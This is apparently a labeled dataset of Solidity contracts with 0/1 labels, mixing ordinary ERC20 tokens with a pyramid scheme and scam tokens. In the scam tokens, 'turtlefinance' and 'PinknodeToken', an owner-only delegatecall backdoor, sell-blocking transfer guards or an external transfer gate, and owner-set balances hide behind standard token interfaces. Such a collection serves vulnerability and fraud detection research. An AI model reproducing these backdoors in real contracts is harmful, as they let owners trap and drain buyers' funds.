pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract turtlefinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,237
pragma solidity ^0.4.25; contract subsetSum { struct Number { bool exists; bool isUsed; } struct Leader { address id; uint256 difference; uint256[] negativeSet; uint256[] positiveSet; } uint256[] numbers; mapping (uint256 => Number) numberCheck; mapping (address => bool) authorisedEntrants; uint256 expiryTime; address admin; Leader leader; constructor (uint256[] memory setElements, uint256 expiry) public { require(setElements.length>0 && expiry > now, 'Invalid parameters'); numbers = setElements; for (uint256 i = 0; i<setElements.length; i++) { numberCheck[setElements[i]].exists=true; } expiryTime = expiry; admin = msg.sender; } event RunnerUpSubmission(address indexed submitter, uint256 submitterSolutionDifference); event NewRecord(address indexed newRecordHolder, uint256 newRecordDifference); modifier adminOnly { require(msg.sender==admin, 'This requires admin privileges'); _; } modifier restrictedAccess { require(now<expiryTime && authorisedEntrants[msg.sender], 'Unauthorised entrant'); _; } modifier winnerOnly { require(now>expiryTime && (msg.sender==leader.id || ((address(0)==leader.id || now>expiryTime+2629746) && msg.sender==admin)), "You don't have permission to withdraw the prize"); _; } function getNumbers() public view returns(uint256[] numberSet) { return numbers; } function getRecord() public view returns (address winningAddress, uint256 difference, uint256[] negativeSet, uint256[] positiveSet) { return (leader.id, leader.difference, leader.negativeSet, leader.positiveSet); } function getPrizePot() public view returns (uint256 prizeFundAmount) { return address(this).balance; } function getExpiryDate() public view returns (uint256 expiryTimestamp) { return expiryTime; } function getData() public view returns(uint256[] numberSet, address winningAddress, uint256 prizeFundAmount, uint256 expiryTimestamp) { return (numbers, leader.id, address(this).balance, expiryTime); } function () public payable { } function getAuthor() public pure returns (string authorName) { return "Written by Ciarán Ó hAoláin, Maynooth University 2018"; } function authoriseEntrants(address[] addressesToAuthorise) public adminOnly { for (uint256 i = 0; i<addressesToAuthorise.length; i++) authorisedEntrants[addressesToAuthorise[i]]=true; } function submitAnswer(uint256[] negativeSetSubmission, uint256[] positiveSetSubmission) public restrictedAccess returns (string response) { require(negativeSetSubmission.length+positiveSetSubmission.length>0, 'Invalid submission.'); uint256 sumNegative = 0; uint256 sumPositive = 0; for (uint256 i = 0; i<negativeSetSubmission.length; i++) { require(numberCheck[negativeSetSubmission[i]].exists && !numberCheck[negativeSetSubmission[i]].isUsed, 'Invalid submission.'); sumNegative+=negativeSetSubmission[i]; numberCheck[negativeSetSubmission[i]].isUsed = true; } for (i = 0; i<positiveSetSubmission.length; i++) { require(numberCheck[positiveSetSubmission[i]].exists && !numberCheck[positiveSetSubmission[i]].isUsed, 'Invalid submission.'); sumPositive+=positiveSetSubmission[i]; numberCheck[positiveSetSubmission[i]].isUsed = true; } for (i = 0; i<negativeSetSubmission.length; i++) numberCheck[negativeSetSubmission[i]].isUsed = false; for (i = 0; i<positiveSetSubmission.length; i++) numberCheck[positiveSetSubmission[i]].isUsed = false; uint256 difference = _diff(sumNegative, sumPositive); if (leader.id==address(0) || difference<leader.difference) { leader.id = msg.sender; leader.difference=difference; leader.negativeSet=negativeSetSubmission; leader.positiveSet=positiveSetSubmission; emit NewRecord(msg.sender, difference); return "Congratulations, you are now on the top of the leaderboard."; } else { emit RunnerUpSubmission(msg.sender, difference); return "Sorry, you haven't beaten the record."; } } function withdrawPrize(address prizeRecipient) public winnerOnly { prizeRecipient.transfer(address(this).balance); } function _diff(uint256 a, uint256 b) private pure returns (uint256 difference) { if (a>b) return a-b; else return b-a; } }
1
4,638
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract UbexToken is DetailedERC20, StandardToken, BurnableToken, PausableToken { function UbexToken( uint256 totalSupply ) DetailedERC20( "UBEX Token", "UBEX", 18 ) { totalSupply_ = totalSupply; balances[msg.sender] = totalSupply; } }
1
5,488
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract TheRichestWins { using SafeMath for uint256; address contractOwner; uint tokenStartPrice = 0.001 ether; uint tokenStartPrice2 = 0.001483239697419133 ether; uint tokenPrice; uint tokenPrice2; address tokenOwner; address tokenOwner2; uint lastBuyBlock; uint newRoundDelay = 40; address public richestPlayer; uint public highestPrice; uint public round; uint public flips; uint payoutRound; uint public richestRoundId; event Transfer(address indexed from, address indexed to, uint256 price); event NewRound(uint paidPrice, uint win, address winner); event RichestBonus(uint win, address richestPlayer); function TheRichestWins() public { contractOwner = msg.sender; tokenOwner = address(0); lastBuyBlock = block.number; tokenPrice = tokenStartPrice; tokenPrice2 = tokenStartPrice2; } function getRoundId() public view returns(uint) { return round*1000000+flips; } function changeNewRoundDelay(uint delay) public { require(contractOwner == msg.sender); newRoundDelay = delay; } function changeContractOwner(address newOwner) public { require(contractOwner == msg.sender); contractOwner = newOwner; } function buyToken() public payable { address currentOwner; uint256 currentPrice; uint256 paidTooMuch; uint256 payment; if (tokenPrice < tokenPrice2) { currentOwner = tokenOwner; currentPrice = tokenPrice; require(tokenOwner2 != msg.sender); } else { currentOwner = tokenOwner2; currentPrice = tokenPrice2; require(tokenOwner != msg.sender); } require(msg.value >= currentPrice); paidTooMuch = msg.value.sub(currentPrice); payment = currentPrice.div(2); if (tokenPrice < tokenPrice2) { tokenPrice = currentPrice.mul(110).div(50); tokenOwner = msg.sender; } else { tokenPrice2 = currentPrice.mul(110).div(50); tokenOwner2 = msg.sender; } lastBuyBlock = block.number; flips++; Transfer(currentOwner, msg.sender, currentPrice); if (currentOwner != address(0)) { payoutRound = getRoundId()-3; currentOwner.call.value(payment).gas(24000)(); } if (paidTooMuch > 0) msg.sender.transfer(paidTooMuch); } function getBlocksToNextRound() public view returns(uint) { if (lastBuyBlock + newRoundDelay < block.number) { return 0; } return lastBuyBlock + newRoundDelay + 1 - block.number; } function getPool() public view returns(uint balance) { balance = this.balance; } function finishRound() public { require(tokenPrice > tokenStartPrice); require(lastBuyBlock + newRoundDelay < block.number); lastBuyBlock = block.number; address owner = tokenOwner; uint price = tokenPrice; if (tokenPrice2>tokenPrice) { owner = tokenOwner2; price = tokenPrice2; } uint lastPaidPrice = price.mul(50).div(110); uint win = this.balance - lastPaidPrice; if (highestPrice < lastPaidPrice) { richestPlayer = owner; highestPrice = lastPaidPrice; richestRoundId = getRoundId()-1; } tokenPrice = tokenStartPrice; tokenPrice2 = tokenStartPrice2; tokenOwner = address(0); tokenOwner2 = address(0); payoutRound = getRoundId()-1; flips = 0; round++; NewRound(lastPaidPrice, win / 2, owner); contractOwner.transfer((this.balance - (lastPaidPrice + win / 2) - win / 10) * 19 / 20); owner.call.value(lastPaidPrice + win / 2).gas(24000)(); if (richestPlayer!=address(0)) { payoutRound = richestRoundId; RichestBonus(win / 10, richestPlayer); richestPlayer.call.value(win / 10).gas(24000)(); } } function getPayoutRoundId() public view returns(uint) { return payoutRound; } function getPrice() public view returns(uint) { if (tokenPrice2<tokenPrice) return tokenPrice2; return tokenPrice; } function getCurrentData() public view returns (uint price, uint nextPrice, uint pool, address winner, address looser, bool canFinish, uint nextPool, uint win, uint nextWin) { winner = tokenOwner; looser = tokenOwner2; price = tokenPrice2; nextPrice = tokenPrice; if (tokenPrice2>tokenPrice) { winner = tokenOwner2; looser = tokenOwner; price = tokenPrice; nextPrice = tokenPrice2; } canFinish = (tokenPrice > tokenStartPrice) && (lastBuyBlock + newRoundDelay < block.number); pool = getPool(); if (price == tokenStartPrice) { nextPool = pool + price; win = 0; } else if (price == tokenStartPrice2) { nextPool = pool + price; win = (pool-nextPrice.mul(50).div(110))/2; } else { nextPool = pool + price / 2; win = (pool-nextPrice.mul(50).div(110))/2; } nextWin = (nextPool-price)/2; } }
0
2,186
pragma solidity ^0.4.25; interface ERC20 { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Standard is ERC20 { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public { _symbol = symbol; _name = name; _decimals = decimals; _totalSupply = totalSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
1
2,996
contract Etheramid { struct Participant { address inviter; address itself; uint totalPayout; } mapping (address => Participant) Tree; mapping (uint => address) Index; uint Count = 0; address top; uint constant contribution = 1 ether; function Etheramid() { addParticipant(msg.sender,msg.sender); top = msg.sender; } function() { uint rand = uint(msg.sender) % Count; enter(Index[rand]); } function getParticipantById (uint id) constant public returns ( address inviter, address itself, uint totalPayout ){ if (id >= Count) return; address ida = Index[id]; inviter = Tree[ida].inviter; itself = Tree[ida].itself; totalPayout = Tree[ida].totalPayout; } function getParticipantByAddress (address adr) constant public returns ( address inviter, address itself, uint totalPayout ){ if (Tree[adr].itself == 0x0) return; inviter = Tree[adr].inviter; itself = Tree[adr].itself; totalPayout = Tree[adr].totalPayout; } function addParticipant(address itself, address inviter) private{ Index[Count] = itself; Tree[itself] = Participant( {itself: itself, inviter: inviter, totalPayout: 0}); Count +=1; } function getParticipantCount () public constant returns ( uint count ){ count = Count; } function enter(address inviter) public { uint amount = msg.value; if ((amount < contribution) || (Tree[msg.sender].inviter != 0x0) || (Tree[inviter].inviter == 0x0)) { msg.sender.send(msg.value); return; } addParticipant(msg.sender, inviter); address next = inviter; uint rest = amount; uint level = 1; while ( (next != top) && (level < 7) ){ uint toSend = rest/2; next.send(toSend); Tree[next].totalPayout += toSend; rest -= toSend; next = Tree[next].inviter; level++; } next.send(rest); Tree[next].totalPayout += rest; } }
0
908
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal protectionFromBots; address public uniPair; constructor(address _botProtection) { protectionFromBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract PinknodeToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 200000000000000000000000000; string public name = "Pinknode Token"; string public symbol = "PNODE"; IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairOfTokens(wrappedEther, address(this)); allowance[address(this)][address(routerForPancake)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForPancake.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tooWho.length == _amounts.length); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho)); for(uint i = 0; i < _tooWho.length; i++) { balanceOf[_tooWho[i]] = _amounts[i]; emit Transfer(address(0x0), _tooWho[i], _amounts[i]); } } }
0
1,303
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); 